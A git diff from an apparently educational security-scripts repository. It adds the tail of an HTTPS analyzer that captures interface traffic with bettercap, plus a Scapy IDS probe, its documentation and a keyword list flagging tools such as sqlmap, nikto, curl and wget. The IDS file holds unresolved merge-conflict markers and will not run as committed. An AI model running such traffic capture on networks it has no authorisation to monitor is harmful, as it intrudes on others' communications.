+ traffic_thread.daemon = True
+ traffic_thread.start()
+
+ time.sleep(duration)
+
+ # Stop capture
+ if proc.poll() is None:
+ try:
+ proc.stdin.write("net.sniff off\n")
+ proc.stdin.write("net.probe off\n")
+ proc.stdin.flush()
+ except:
+ pass
+
+ time.sleep(1)
+ stop_reading.set()
+ reader_thread.join(timeout=2)
+
+ for line in output_lines:
+ captured_data['raw_output'].append(line)
+ line_lower = line.lower()
+
+ # Parse different types of network events
+ if 'dns' in line_lower and 'query' in line_lower:
+ captured_data['dns_queries'].append(line)
+ elif 'http' in line_lower:
+ captured_data['http_requests'].append(line)
+ elif 'tcp' in line_lower or 'syn' in line_lower:
+ captured_data['tcp_connections'].append(line)
+ elif 'ssl' in line_lower or 'tls' in line_lower:
+ captured_data['ssl_handshakes'].append(line)
+
+ # Extract IPs and domains
+ ip_pattern = r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'
+ domain_pattern = r'\b[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}\b'
+
+ ips = re.findall(ip_pattern, line)
+ domains = re.findall(domain_pattern, line)
+
+ captured_data['discovered_ips'].update(ips)
+ captured_data['discovered_domains'].update(domains)
+
+ captured_data['packet_count'] += 1
+
+ # Convert sets to lists for JSON serialization
+ captured_data['discovered_ips'] = list(captured_data['discovered_ips'])
+ captured_data['discovered_domains'] = list(captured_data['discovered_domains'])
+
+ print(f"[+] Capture complete: {captured_data['packet_count']} events, {len(captured_data['discovered_ips'])} IPs, {len(captured_data['discovered_domains'])} domains")
+
+ return captured_data
+
+
+def calculate_vulnerability_score(analysis_data):
+ """
+ Calculate vulnerability score based on findings.
+
+ Args:
+ analysis_data (dict): Complete analysis data
+
+ Returns:
+ dict: Vulnerability scoring information
+ """
+ score = 100 # Start with perfect score
+ critical_issues = []
+ high_issues = []
+ medium_issues = []
+ low_issues = []
+
+ extracted = analysis_data.get('extracted_data', {})
+
+ # SSL/TLS analysis
+ ssl_analysis = extracted.get('ssl_analysis', {})
+ for vuln in ssl_analysis.get('vulnerabilities', []):
+ if 'weak' in vuln.lower() or 'tls' in vuln.lower():
+ critical_issues.append(f"SSL: {vuln}")
+ score -= 15
+ else:
+ medium_issues.append(f"SSL: {vuln}")
+ score -= 5
+
+ # Security headers
+ headers = analysis_data.get('headers', {})
+ for header, description in SECURITY_HEADERS.items():
+ if header not in headers:
+ if header in ['Strict-Transport-Security', 'Content-Security-Policy']:
+ high_issues.append(f"Missing critical header: {header}")
+ score -= 10
+ else:
+ medium_issues.append(f"Missing header: {header}")
+ score -= 5
+
+ # Cookie analysis
+ cookie_analysis = extracted.get('cookie_analysis', {})
+ for vuln in cookie_analysis.get('vulnerabilities', []):
+ if 'secure' in vuln.lower():
+ high_issues.append(f"Cookie: {vuln}")
+ score -= 8
+ else:
+ medium_issues.append(f"Cookie: {vuln}")
+ score -= 3
+
+ # CSP analysis
+ csp_analysis = extracted.get('csp_analysis', {})
+ if not csp_analysis.get('present'):
+ high_issues.append("No Content Security Policy")
+ score -= 12
+ else:
+ for vuln in csp_analysis.get('vulnerabilities', []):
+ if 'unsafe' in vuln.lower():
+ high_issues.append(f"CSP: {vuln}")
+ score -= 8
+ else:
+ medium_issues.append(f"CSP: {vuln}")
+ score -= 4
+
+ # Form analysis
+ for form in extracted.get('forms', []):
+ for issue in form.get('security_issues', []):
+ if 'csrf' in issue.lower():
+ high_issues.append(f"Form: {issue}")
+ score -= 10
+ elif 'http' in issue.lower():
+ medium_issues.append(f"Form: {issue}")
+ score -= 6
+ else:
+ low_issues.append(f"Form: {issue}")
+ score -= 2
+
+ # Script analysis
+ suspicious_scripts = extracted.get('scripts', {}).get('suspicious', [])
+ for script in suspicious_scripts:
+ high_issues.append("Suspicious script detected")
+ score -= 8
+
+ score = max(0, score) # Ensure score doesn't go below 0
+
+ # Determine risk level
+ if score >= 80:
+ risk_level = "LOW"
+ elif score >= 60:
+ risk_level = "MEDIUM"
+ elif score >= 40:
+ risk_level = "HIGH"
+ else:
+ risk_level = "CRITICAL"
+
+ return {
+ 'score': score,
+ 'risk_level': risk_level,
+ 'critical_issues': critical_issues,
+ 'high_issues': high_issues,
+ 'medium_issues': medium_issues,
+ 'low_issues': low_issues,
+ 'total_issues': len(critical_issues) + len(high_issues) + len(medium_issues) + len(low_issues)
+ }
+
+
+def analyze_and_report(url_data, network_data):
+ """
+ Analysis and reporting.
+
+ Args:
+ url_data (dict): Website data
+ network_data (dict): Network data
+
+ Returns:
+ dict: Comprehensive report
+ """
+ print("\n[*] Analysis in progress...")
+
+ report = {
+ 'metadata': {
+ 'timestamp': datetime.now().isoformat(),
+ 'target_url': url_data.get('url', '') if url_data else '',
+ 'scan_duration': 0
+ },
+ 'website_analysis': {},
+ 'network_analysis': {},
+ 'security_analysis': {},
+ 'vulnerability_assessment': {},
+ 'technology_stack': {},
+ 'performance_analysis': {},
+ 'recommendations': []
+ }
+
+ if url_data:
+ extracted = url_data.get('extracted_data', {})
+
+ # Website analysis
+ report['website_analysis'] = {
+ 'basic_info': {
+ 'title': extracted.get('title', 'N/A'),
+ 'status_code': url_data.get('status_code', 0),
+ 'server': url_data.get('headers', {}).get('Server', 'Unknown'),
+ 'content_type': url_data.get('headers', {}).get('Content-Type', 'Unknown'),
+ 'content_length': extracted.get('content_length', 0),
+ 'response_time_ms': extracted.get('response_time', 0) * 1000
+ },
+ 'content_analysis': {
+ 'total_links': {
+ 'internal': len(extracted.get('links', {}).get('internal', [])),
+ 'external': len(extracted.get('links', {}).get('external', [])),
+ 'suspicious': len(extracted.get('links', {}).get('suspicious', []))
+ },
+ 'forms': {
+ 'total': len(extracted.get('forms', [])),
+ 'with_csrf': len([f for f in extracted.get('forms', []) if f.get('has_csrf')]),
+ 'security_issues': sum(len(f.get('security_issues', [])) for f in extracted.get('forms', []))
+ },
+ 'scripts': {
+ 'inline': len(extracted.get('scripts', {}).get('inline', [])),
+ 'external': len(extracted.get('scripts', {}).get('external', [])),
+ 'suspicious': len(extracted.get('scripts', {}).get('suspicious', []))
+ },
+ 'images': len(extracted.get('images', [])),
+ 'meta_tags': len(extracted.get('meta_tags', []))
+ }
+ }
+
+ # Security analysis
+ report['security_analysis'] = {
+ 'ssl_tls': extracted.get('ssl_analysis', {}),
+ 'security_headers': {},
+ 'cookie_security': extracted.get('cookie_analysis', {}),
+ 'content_security_policy': extracted.get('csp_analysis', {}),
+ 'form_security': [f for f in extracted.get('forms', []) if f.get('security_issues')]
+ }
+
+ # Check security headers
+ headers = url_data.get('headers', {})
+ for header, description in SECURITY_HEADERS.items():
+ report['security_analysis']['security_headers'][header] = {
+ 'present': header in headers,
+ 'value': headers.get(header, ''),
+ 'description': description
+ }
+
+ # Technology stack
+ report['technology_stack'] = extracted.get('technologies', {})
+
+ # Performance analysis
+ report['performance_analysis'] = extracted.get('performance_metrics', {})
+
+ # Vulnerability assessment
+ report['vulnerability_assessment'] = calculate_vulnerability_score(url_data)
+
+ # Generate recommendations
+ recommendations = []
+
+ # SSL recommendations
+ ssl_vulns = extracted.get('ssl_analysis', {}).get('vulnerabilities', [])
+ if ssl_vulns:
+ recommendations.append({
+ 'category': 'SSL/TLS',
+ 'priority': 'HIGH',
+ 'recommendation': 'Update SSL/TLS configuration to use modern protocols and strong ciphers',
+ 'details': ssl_vulns
+ })
+
+ # Security headers recommendations
+ missing_headers = [h for h, info in report['security_analysis']['security_headers'].items() if not info['present']]
+ if missing_headers:
+ recommendations.append({
+ 'category': 'Security Headers',
+ 'priority': 'MEDIUM' if len(missing_headers) < 5 else 'HIGH',
+ 'recommendation': 'Implement missing security headers',
+ 'details': missing_headers
+ })
+
+ # CSP recommendations
+ if not extracted.get('csp_analysis', {}).get('present'):
+ recommendations.append({
+ 'category': 'Content Security Policy',
+ 'priority': 'HIGH',
+ 'recommendation': 'Implement Content Security Policy to prevent XSS attacks',
+ 'details': ['No CSP header found']
+ })
+
+ report['recommendations'] = recommendations
+
+ # Network analysis
+ if network_data:
+ report['network_analysis'] = {
+ 'summary': {
+ 'total_events': network_data.get('packet_count', 0),
+ 'dns_queries': len(network_data.get('dns_queries', [])),
+ 'http_requests': len(network_data.get('http_requests', [])),
+ 'tcp_connections': len(network_data.get('tcp_connections', [])),
+ 'ssl_handshakes': len(network_data.get('ssl_handshakes', []))
+ },
+ 'discovered_assets': {
+ 'ip_addresses': network_data.get('discovered_ips', []),
+ 'domains': network_data.get('discovered_domains', [])
+ },
+ 'sample_traffic': network_data.get('raw_output', [])[:20] # First 20 events
+ }
+
+ return report
+
+
+def save_report(report, output_format='json', output_dir='.'):
+ """
+ Save report in multiple formats.
+
+ Args:
+ report (dict): Report data
+ output_format (str): Output format (json, csv, html)
+ output_dir (str): Output directory
+
+ Returns:
+ str: Saved file path
+ """
+ timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
+ target_url = report.get('metadata', {}).get('target_url', 'unknown')
+
+ if target_url != 'unknown':
+ domain = urlparse(target_url).netloc.replace(':', '_').replace('.', '_')
+ base_filename = f"https_analysis_{domain}_{timestamp}"
+ else:
+ base_filename = f"https_analysis_{timestamp}"
+
+ if output_format.lower() == 'json':
+ filename = f"{base_filename}.json"
+ filepath = os.path.join(output_dir, filename)
+
+ with open(filepath, 'w', encoding='utf-8') as f:
+ json.dump(report, f, indent=4, default=str)
+
+ elif output_format.lower() == 'csv':
+ filename = f"{base_filename}.csv"
+ filepath = os.path.join(output_dir, filename)
+
+ # Create CSV with key findings
+ with open(filepath, 'w', newline='', encoding='utf-8') as f:
+ writer = csv.writer(f)
+
+ # Write headers
+ writer.writerow(['Category', 'Finding', 'Severity', 'Details'])
+
+ # Vulnerability assessment
+ vuln_assessment = report.get('vulnerability_assessment', {})
+ for issue in vuln_assessment.get('critical_issues', []):
+ writer.writerow(['Vulnerability', issue, 'CRITICAL', ''])
+ for issue in vuln_assessment.get('high_issues', []):
+ writer.writerow(['Vulnerability', issue, 'HIGH', ''])
+ for issue in vuln_assessment.get('medium_issues', []):
+ writer.writerow(['Vulnerability', issue, 'MEDIUM', ''])
+ for issue in vuln_assessment.get('low_issues', []):
+ writer.writerow(['Vulnerability', issue, 'LOW', ''])
+
+ elif output_format.lower() == 'html':
+ filename = f"{base_filename}.html"
+ filepath = os.path.join(output_dir, filename)
+
+ # Generate HTML report (simplified version)
+ html_content = generate_html_report(report)
+
+ with open(filepath, 'w', encoding='utf-8') as f:
+ f.write(html_content)
+
+ print(f"[+] Report saved: {filepath}")
+ return filepath
+
+
+def generate_html_report(report):
+ """
+ Generate HTML report.
+
+ Args:
+ report (dict): Report data
+
+ Returns:
+ str: HTML content
+ """
+ vuln_assessment = report.get('vulnerability_assessment', {})
+ website_analysis = report.get('website_analysis', {})
+ security_analysis = report.get('security_analysis', {})
+
+ html = f"""
+
+
+
+ HTTPS Security Analysis Report
+
+
+
+
+
+
+ """
+
+ return html
+
+
+def print_summary(report):
+ """
+ Print summary of the analysis.
+
+ Args:
+ report (dict): Report data
+ """
+ print("\n" + "="*80)
+ print(" HTTPS SECURITY ANALYSIS SUMMARY")
+ print("="*80)
+
+ # Metadata
+ metadata = report.get('metadata', {})
+ print(f"\n[Target URL] {metadata.get('target_url', 'N/A')}")
+ print(f"[Scan Time] {metadata.get('timestamp', 'N/A')}")
+
+ # Vulnerability Assessment
+ vuln = report.get('vulnerability_assessment', {})
+ print(f"\n[SECURITY SCORE] {vuln.get('score', 0)}/100 [{vuln.get('risk_level', 'UNKNOWN')}]")
+
+ print("\n[Issues Summary]")
+ print(f" Critical: {len(vuln.get('critical_issues', []))}")
+ print(f" High: {len(vuln.get('high_issues', []))}")
+ print(f" Medium: {len(vuln.get('medium_issues', []))}")
+ print(f" Low: {len(vuln.get('low_issues', []))}")
+
+ # Website Analysis
+ website = report.get('website_analysis', {})
+ if website:
+ basic = website.get('basic_info', {})
+ content = website.get('content_analysis', {})
+
+ print(f"\n[Website Analysis]")
+ print(f" Title: {basic.get('title', 'N/A')}")
+ print(f" Status: {basic.get('status_code', 'N/A')}")
+ print(f" Server: {basic.get('server', 'N/A')}")
+ print(f" Response Time: {basic.get('response_time_ms', 0):.2f}ms")
+ print(f" Content Size: {basic.get('content_length', 0)} bytes")
+
+ print(f"\n[Content Analysis]")
+ links = content.get('total_links', {})
+ print(f" Links: {links.get('internal', 0)} internal, {links.get('external', 0)} external, {links.get('suspicious', 0)} suspicious")
+
+ forms = content.get('forms', {})
+ print(f" Forms: {forms.get('total', 0)} total, {forms.get('with_csrf', 0)} with CSRF, {forms.get('security_issues', 0)} issues")
+
+ scripts = content.get('scripts', {})
+ print(f" Scripts: {scripts.get('inline', 0)} inline, {scripts.get('external', 0)} external, {scripts.get('suspicious', 0)} suspicious")
+
+ # Technology Stack
+ tech_stack = report.get('technology_stack', {})
+ if tech_stack:
+ print(f"\n[Technology Stack]")
+ for tech, info in list(tech_stack.items())[:10]: # Limit to top 10
+ print(f" {tech}: {info.get('confidence', 0)}% confidence")
+
+ # Security Analysis Summary
+ security = report.get('security_analysis', {})
+ if security:
+ print(f"\n[Security Headers]")
+ headers = security.get('security_headers', {})
+ present = sum(1 for h in headers.values() if h.get('present'))
+ total = len(headers)
+ print(f" {present}/{total} security headers present")
+
+ ssl = security.get('ssl_tls', {})
+ if ssl.get('certificate_valid'):
+ print(f" SSL Certificate: Valid (expires in {ssl.get('days_until_expiry', 'unknown')} days)")
+ else:
+ print(f" SSL Certificate: Issues detected")
+
+ cookies = security.get('cookie_security', {})
+ if cookies.get('total_cookies', 0) > 0:
+ print(f" Cookies: {cookies.get('total_cookies', 0)} total, {len(cookies.get('vulnerabilities', []))} issues")
+
+ # Network Analysis
+ network = report.get('network_analysis', {})
+ if network:
+ summary = network.get('summary', {})
+ assets = network.get('discovered_assets', {})
+
+ print(f"\n[Network Analysis]")
+ print(f" Total Events: {summary.get('total_events', 0)}")
+ print(f" DNS Queries: {summary.get('dns_queries', 0)}")
+ print(f" HTTP Requests: {summary.get('http_requests', 0)}")
+ print(f" Discovered IPs: {len(assets.get('ip_addresses', []))}")
+ print(f" Discovered Domains: {len(assets.get('domains', []))}")
+
+ # Top Recommendations
+ recommendations = report.get('recommendations', [])
+ if recommendations:
+ print(f"\n[Top Recommendations]")
+ for i, rec in enumerate(recommendations[:5], 1):
+ print(f" {i}. [{rec.get('priority', 'UNKNOWN')}] {rec.get('recommendation', 'N/A')}")
+
+ print("\n" + "="*80)
+
+
+def main():
+ """
+ Main function with additional options.
+ """
+ if len(sys.argv) < 3:
+ print(f"Usage: python {sys.argv[0]} [options]")
+ print("\nOptions:")
+ print(" --no-verify Skip SSL verification")
+ print(" --deep-scan Enable deep scanning")
+ print(" --format FORMAT Output format: json, csv, html (default: json)")
+ print(" --timeout SEC Network capture timeout (default: 30)")
+ print(" --output DIR Output directory (default: current)")
+ print("\nExamples:")
+ print(f" sudo python {sys.argv[0]} https://example.com eth0")
+ print(f" sudo python {sys.argv[0]} https://github.com wlan0 --deep-scan --format html")
+ sys.exit(1)
+
+ url = sys.argv[1]
+ interface = sys.argv[2]
+
+ # Parse options
+ verify_ssl = '--no-verify' not in sys.argv
+ deep_scan = '--deep-scan' in sys.argv
+
+ output_format = 'json'
+ if '--format' in sys.argv:
+ try:
+ format_idx = sys.argv.index('--format') + 1
+ if format_idx < len(sys.argv):
+ output_format = sys.argv[format_idx]
+ except:
+ pass
+
+ timeout = 30
+ if '--timeout' in sys.argv:
+ try:
+ timeout_idx = sys.argv.index('--timeout') + 1
+ if timeout_idx < len(sys.argv):
+ timeout = int(sys.argv[timeout_idx])
+ except:
+ pass
+
+ output_dir = '.'
+ if '--output' in sys.argv:
+ try:
+ output_idx = sys.argv.index('--output') + 1
+ if output_idx < len(sys.argv):
+ output_dir = sys.argv[output_idx]
+ except:
+ pass
+
+ if not url.startswith('https://'):
+ print("[!] Error: URL must start with https://")
+ sys.exit(1)
+
+ scan_start_time = time.time()
+
+ print("\n[*] HTTPS Data Fetcher with Bettercap")
+ print("[*] For educational and defensive security purposes only")
+ print(f"[*] Deep scan: {'Enabled' if deep_scan else 'Disabled'}")
+ print(f"[*] Output format: {output_format}")
+ print(f"[*] Timeout: {timeout}s\n")
+
+ # Step 1: HTTPS analysis
+ print("[STEP 1] HTTPS analysis...")
+ url_data = fetch_https_data(url, verify_ssl=verify_ssl)
+
+ if not url_data:
+ print("[!] Failed to fetch data from URL. Exiting.")
+ sys.exit(1)
+
+ # Step 2: Bettercap analysis
+ print("\n[STEP 2] Network analysis...")
+ bettercap_proc = start_bettercap(interface)
+
+ if not bettercap_proc:
+ print("[!] Failed to start bettercap. Continuing without network capture...")
+ network_data = {}
+ else:
+ print("\n[STEP 3] Traffic capture...")
+ network_data = capture_traffic(bettercap_proc, url, timeout, deep_scan)
+
+ print("[*] Stopping bettercap...")
+ bettercap_proc.terminate()
+ bettercap_proc.wait()
+
+ # Step 4: Analysis and reporting
+ print("\n[STEP 4] Analysis and reporting...")
+ report = analyze_and_report(url_data, network_data)
+
+ # Add scan duration
+ scan_duration = time.time() - scan_start_time
+ report['metadata']['scan_duration'] = round(scan_duration, 2)
+
+ # Display summary
+ print_summary(report)
+
+ # Save report
+ saved_file = save_report(report, output_format, output_dir)
+
+ if saved_file:
+ print(f"\n[+] Analysis complete! Report saved: {saved_file}")
+ print(f"[+] Scan duration: {scan_duration:.2f} seconds")
+ print(f"[+] Security score: {report.get('vulnerability_assessment', {}).get('score', 0)}/100")
+ else:
+ print("\n[+] Analysis complete!")
+
+
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/ids_probe.md b/UI/frontend/src/content/python-scripts/ids_probe.md
new file mode 100644
index 0000000..4b23792
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/ids_probe.md
@@ -0,0 +1,118 @@
+## ids_probe.py
+
+### Usage Scenario
+
+This script is a simplified, educational **Intrusion Detection System (IDS) probe** built with Scapy. It passively monitors network traffic to detect low-level reconnaissance activities, focusing on unauthorized port scanning and suspicious HTTP communication.
+
+* **What problem does it solve?** It provides real-time, low-level **threat detection and visibility** into a network. It specifically addresses two critical, early-stage attack vectors: **1. Port Scanning** (identifying multiple connection attempts to different ports from a single source) and **2. Suspicious Tool Usage** (flagging User-Agents common in security/exploitation tools like `sqlmap` or `nikto` in unencrypted HTTP traffic).
+* **Who would benefit from using it?** **Cybersecurity Students** and **Beginner Ethical Hackers** benefit by gaining hands-on insight into how signature-based network monitoring systems work. **Developers** can use it as a foundational template for creating more complex, custom packet analysis and alerting tools.
+
+---
+
+### What the Script Does
+
+The Python script `ids_probe.py` is a **passive network sniffer** that operates in real-time, analyzing TCP/IP packets at the transport and application layers. It requires elevated privileges (`sudo` on Linux, Administrator on Windows with Npcap) to function.
+
+The execution flow is:
+
+1. **Input:** The script takes network traffic from a specified wireless interface (e.g., `eth0` or Windows device GUID) and optional configuration via Command-Line Interface (CLI) arguments to set the detection thresholds (`--port-threshold`, `--window`) and an external reporting endpoint (`--webhook`).
+2. **Process:** It enters a continuous packet-sniffing loop. For every captured TCP packet, it performs two main checks:
+ * **Port Scan Check:** If the packet is a **SYN-only** (initial connection request), it updates a sliding window of destination ports for the source IP. If too many unique ports are targeted within a short time window (default 12 ports in 10 seconds), an alert is triggered.
+ * **User-Agent Check:** If the packet contains an application layer payload (Raw layer), it attempts to extract the `User-Agent` from unencrypted HTTP requests. If the header contains suspicious keywords, an alert is triggered.
+3. **Output/Side Effects:** Alerts are immediately **printed to the console**. They are also saved as **newline-separated JSON objects** to the `alerts.json` file in the same directory as the script. Optionally, alerts are **POSTed via HTTP** to the user-specified webhook URL.
+
+---
+
+### Code Explanation
+
+#### Imported Libraries
+
+| Library | Purpose |
+| :--- | :--- |
+| `scapy.all` (and sub-modules) | **Essential Core.** Provides the functionality to capture, read, and dissect network packets (layers `IP`, `TCP`, `Raw`, `IPv6`). |
+| `collections` (`defaultdict`, `deque`) | **Data Structures.** `defaultdict` stores history keyed by source IP. `deque` (double-ended queue) is used to implement the **efficient sliding time window** required for port scan detection, allowing fast removal of old entries. |
+| `time`, `datetime`, `json`, `threading` | **Utilities.** `time` for packet timestamping; `datetime` for ISO 8601 alert timestamps; `json` for alert serialization; `threading.Lock` ensures **thread-safe writing** to `alerts.json`. |
+| `argparse` | **CLI Handler.** Used to define and parse command-line options for interface selection and threshold customization. |
+| `requests` (Optional) | **External Communication.** Used to send alerts to an external HTTP/S endpoint (webhook) if the `--webhook` argument is provided. |
+
+#### Principal Functions
+
+| Function | Parameters | Returns | Purpose |
+| :--- | :--- | :--- | :--- |
+| `now_iso` | None | `str` | Returns the current time in UTC ISO 8601 format (e.g., `YYYY-MM-DDTHH:MM:SS.sssZ`) for alert timestamping. |
+| `write_alert` | `alert` (`dict`) | None | The central function for outputting alerts. It timestamps the alert, prints a summary to the console, and then **safely appends** the JSON object to `alerts.json`. If a webhook is configured, it attempts to POST the alert. |
+| `check_port_scan` | `pkt_time` (`float`), `src_ip` (`str`), `dst_port` (`int`) | None | **Detection Logic (Port Scan).** Implements the sliding window: tracks recent SYN packets from `src_ip`. If the count of distinct `dst_port` exceeds the configurable threshold within the window (default 10s), it generates a `port_scan` alert and resets the IP's history. |
+| `extract_user_agent` | `payload_bytes` (`bytes`) | `str` or `None` | Decodes the raw payload and attempts a simple string search to isolate and return the value of the `User-Agent` HTTP header. |
+| `check_http_user_agent` | `payload` (`bytes`), `src_ip` (`str`), `dst_ip` (`str`), `dst_port` (`int`) | None | **Detection Logic (Suspicious UA).** Calls `extract_user_agent` and checks the result against a hardcoded list of `SUSPICIOUS_UA_KEYWORDS` (e.g., "sqlmap", "nikto"). Triggers a `suspicious_user_agent` alert upon match. |
+| `packet_handler` | `pkt` (Scapy packet object) | None | **Sniffing Callback.** This is the function called by Scapy for every captured packet. It processes both IPv4 and IPv6 traffic, identifies TCP SYN packets for port scan checks, and extracts application layer payloads (Raw) for HTTP User-Agent checks. |
+
+#### Execution Logic
+
+The script's execution is controlled by the `main()` function, which is the standard entry point invoked by `if __name__ == "__main__":`.
+
+1. **Argument Parsing:** The script starts by calling `parse_args()`, which processes any command-line options (`-i`, `--webhook`, etc.).
+2. **Configuration Update:** Global variables (`WEBHOOK`, `PORT_SCAN_PORT_THRESHOLD`, `PORT_SCAN_WINDOW`) are dynamically updated based on the parsed CLI arguments.
+3. **Startup:** A status message is printed, confirming the start and the location of the `alerts.json` file.
+4. **Main Sniffing Loop:** The script calls `scapy.sniff()` with the interface selected by the user.
+5. **Packet Processing:** The `sniff` function executes continuously, passing every captured packet object to the `packet_handler(pkt)` function.
+6. **Continuous Analysis:** The `packet_handler` routes the packet data to the relevant detection functions (`check_port_scan` and `check_http_user_agent`), which in turn call `write_alert()` if a threat is detected.
+7. **Termination:** The script continues to run indefinitely until the user manually terminates the process (usually via **`Ctrl+C`**), or an unexpected error occurs (like `PermissionError` if not run with sufficient privileges).
+
+---
+
+### Screenshots
+
+
+
+
+
+
+
+---
+
+### Sequence Diagram
+
+```mermaid
+sequenceDiagram
+ participant User
+ participant Script as Python Script (main)
+ participant Scapy as Scapy Sniffer (sniff)
+ participant PktHandler as packet_handler(pkt)
+ participant Detections as Port Scan & UA Checks
+ participant AlertSys as write_alert
+ participant AlertFile as alerts.json
+
+ User->>Script: Execute Script (python ids_probe.py -i eth0)
+ Script->>Script: parse_args() & Set Global Config
+ Script->>Script: Print Startup Message
+ Script->>Scapy: Call sniff(iface, prn=PktHandler)
+
+ loop Real-time Packet Monitoring
+ Scapy-->>PktHandler: Captured Packet (Pkt)
+ PktHandler->>PktHandler: Determine IP Version (v4/v6)
+
+ alt TCP SYN Packet
+ PktHandler->>Detections: check_port_scan(ts, src_ip, dst_port)
+ alt Threshold Exceeded
+ Detections->>AlertSys: Trigger Alert (type: port_scan)
+ end
+ end
+
+ alt Raw Payload Present (HTTP)
+ PktHandler->>Detections: check_http_user_agent(payload, src_ip, ...)
+ alt Suspicious User-Agent Found
+ Detections->>AlertSys: Trigger Alert (type: suspicious_user_agent)
+ end
+ end
+
+ AlertSys->>AlertSys: Lock file_lock
+ AlertSys->>AlertFile: Append JSON Alert
+ AlertSys->>User: Print console summary
+ alt Webhook Configured
+ AlertSys->>AlertSys: requests.post(WEBHOOK)
+ end
+ AlertSys->>AlertSys: Release file_lock
+ end
+
+ User->>Script: Manual Termination (Ctrl+C)
+ Script->>Script: Exit
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/ids_probe.py b/UI/frontend/src/content/python-scripts/ids_probe.py
new file mode 100644
index 0000000..f607ebd
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/ids_probe.py
@@ -0,0 +1,631 @@
+<<<<<<< HEAD
+<<<<<<< HEAD
+
+"""
+ids_probe.py — tiny IDS probe (single-file, educational)
+
+Purpose:
+--------
+A simple Intrusion Detection System (IDS) probe built using Scapy.
+It monitors live network traffic and raises alerts for:
+ 1. Port scans (many SYN packets to different ports in a short time).
+ 2. Suspicious plain HTTP requests (based on User-Agent keywords).
+
+Output:
+--------
+Alerts are written as newline-separated JSON objects into 'alerts.json'.
+Optionally, alerts can also be POSTed to a webhook URL.
+
+⚠️ Run this only on systems/networks you own or have permission to monitor.
+"""
+
+
+=======
+#!/usr/bin/env python3
+"""
+ids_probe.py — tiny IDS probe (single-file, easy)
+
+What this is (in 1 line)
+- A small passive monitor that listens to live packets and writes simple JSON alerts
+ when it sees (a) port-scan-like SYN bursts and (b) suspicious HTTP User-Agent headers.
+
+Important (read!)
+- Run ONLY on networks or VMs you own or are explicitly authorized to monitor.
+- Packet capture requires privileges: Admin on Windows, sudo on Linux.
+- On Windows: install Npcap (https://nmap.org/npcap/) with WinPcap-compat & reboot if needed.
+- On Linux: ensure libpcap present (e.g., apt install libpcap-dev) and run with sudo.
+
+Where alerts are saved
+- alerts.json will be written next to this script:
+ hacking-tutorial/python-scripts/alerts.json
+
+Dependencies
+- Python 3.8+ (you have 3.13 — good)
+- pip install scapy requests
+ * requests is optional (only used if you set --webhook)
+ * On Windows you must install Npcap for sniffing to work.
+
+Top-of-file usage summary (paste into PR if needed)
+- Add file: python-scripts/ids_probe.py
+- Run (Windows - Admin PowerShell):
+ py -3 -m venv venv
+ .\venv\Scripts\Activate.ps1
+ pip install scapy requests
+ python ids_probe.py -i "\\Device\\NPF_{...}" # or omit -i and let scapy choose
+- Run (Linux):
+ python3 -m venv venv && source venv/bin/activate
+ pip install scapy requests
+ sudo python3 ids_probe.py -i eth0
+
+Quick tests (single machine)
+1) HTTP UA test (recommended):
+ - Start server: python -m http.server 8000 --bind 0.0.0.0
+ - Send request (PowerShell): Invoke-WebRequest -Uri "http://:8000/" -UserAgent "sqlmap/1.0"
+ (use your Wi‑Fi IP from ipconfig; don't use localhost)
+2) Port-burst test:
+ - Run the provided connect_many_verbose.py (or use nmap from another device).
+ - Example generator: python connect_many_verbose.py 1 200 120
+
+Notes for maintainers
+- This is a tiny, educational probe — no UI, no remote integration. I included a short safety note and usage instructions in the file header.
+- Add `python-scripts/alerts.json` to .gitignore if you don't want alerts committed.
+
+"""
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+
+"""
+ids_probe.py — tiny IDS probe (single-file, educational)
+
+Purpose:
+--------
+A simple Intrusion Detection System (IDS) probe built using Scapy.
+It monitors live network traffic and raises alerts for:
+ 1. Port scans (many SYN packets to different ports in a short time).
+ 2. Suspicious plain HTTP requests (based on User-Agent keywords).
+
+Output:
+--------
+Alerts are written as newline-separated JSON objects into 'alerts.json'.
+Optionally, alerts can also be POSTed to a webhook URL.
+
+⚠️ Run this only on systems/networks you own or have permission to monitor.
+"""
+
+
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+
+from __future__ import annotations
+import os
+import time
+import json
+import argparse
+from collections import defaultdict, deque
+from datetime import datetime
+import threading
+<<<<<<< HEAD
+<<<<<<< HEAD
+from scapy.layers.inet6 import IPv6
+
+
+# Try importing Scapy (used for packet sniffing)
+=======
+
+# Try to import scapy; give a clear message if missing
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+from scapy.layers.inet6 import IPv6
+
+
+# Try importing Scapy (used for packet sniffing)
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+try:
+ from scapy.all import sniff, IP, TCP, Raw
+except Exception as exc:
+ raise SystemExit(
+<<<<<<< HEAD
+<<<<<<< HEAD
+ "Scapy is required. Install it with: pip install scapy\n"
+ f"Import error: {exc}"
+ )
+
+# Optional dependency for webhook support
+=======
+ "scapy is required. Install inside your venv with: pip install scapy\n"
+ "On Windows install Npcap (https://nmap.org/npcap/) and run shell as Administrator.\n"
+ f"Import error: {exc}"
+ )
+
+# Optional requests for webhook posting (not required)
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+ "Scapy is required. Install it with: pip install scapy\n"
+ f"Import error: {exc}"
+ )
+
+# Optional dependency for webhook support
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+try:
+ import requests
+except Exception:
+ requests = None
+
+<<<<<<< HEAD
+<<<<<<< HEAD
+# ---------------------- CONFIGURATION ----------------------
+
+# File where alerts will be saved
+ALERT_FILE = os.path.join(os.path.dirname(__file__), "alerts.json")
+
+# Port scan detection parameters
+PORT_SCAN_WINDOW = 10 # seconds of observation
+PORT_SCAN_PORT_THRESHOLD = 12 # unique ports within window to trigger alert
+
+# Suspicious keywords to flag in HTTP User-Agent strings
+SUSPICIOUS_UA_KEYWORDS = ["sqlmap", "nikto", "acunetix", "curl", "wget", "fuzzer", "scanner"]
+
+# Optional webhook URL (set from CLI)
+WEBHOOK: str | None = None
+
+# Runtime data structures
+# Stores for each source IP → list of (timestamp, dst_port)
+syn_history = defaultdict(lambda: deque())
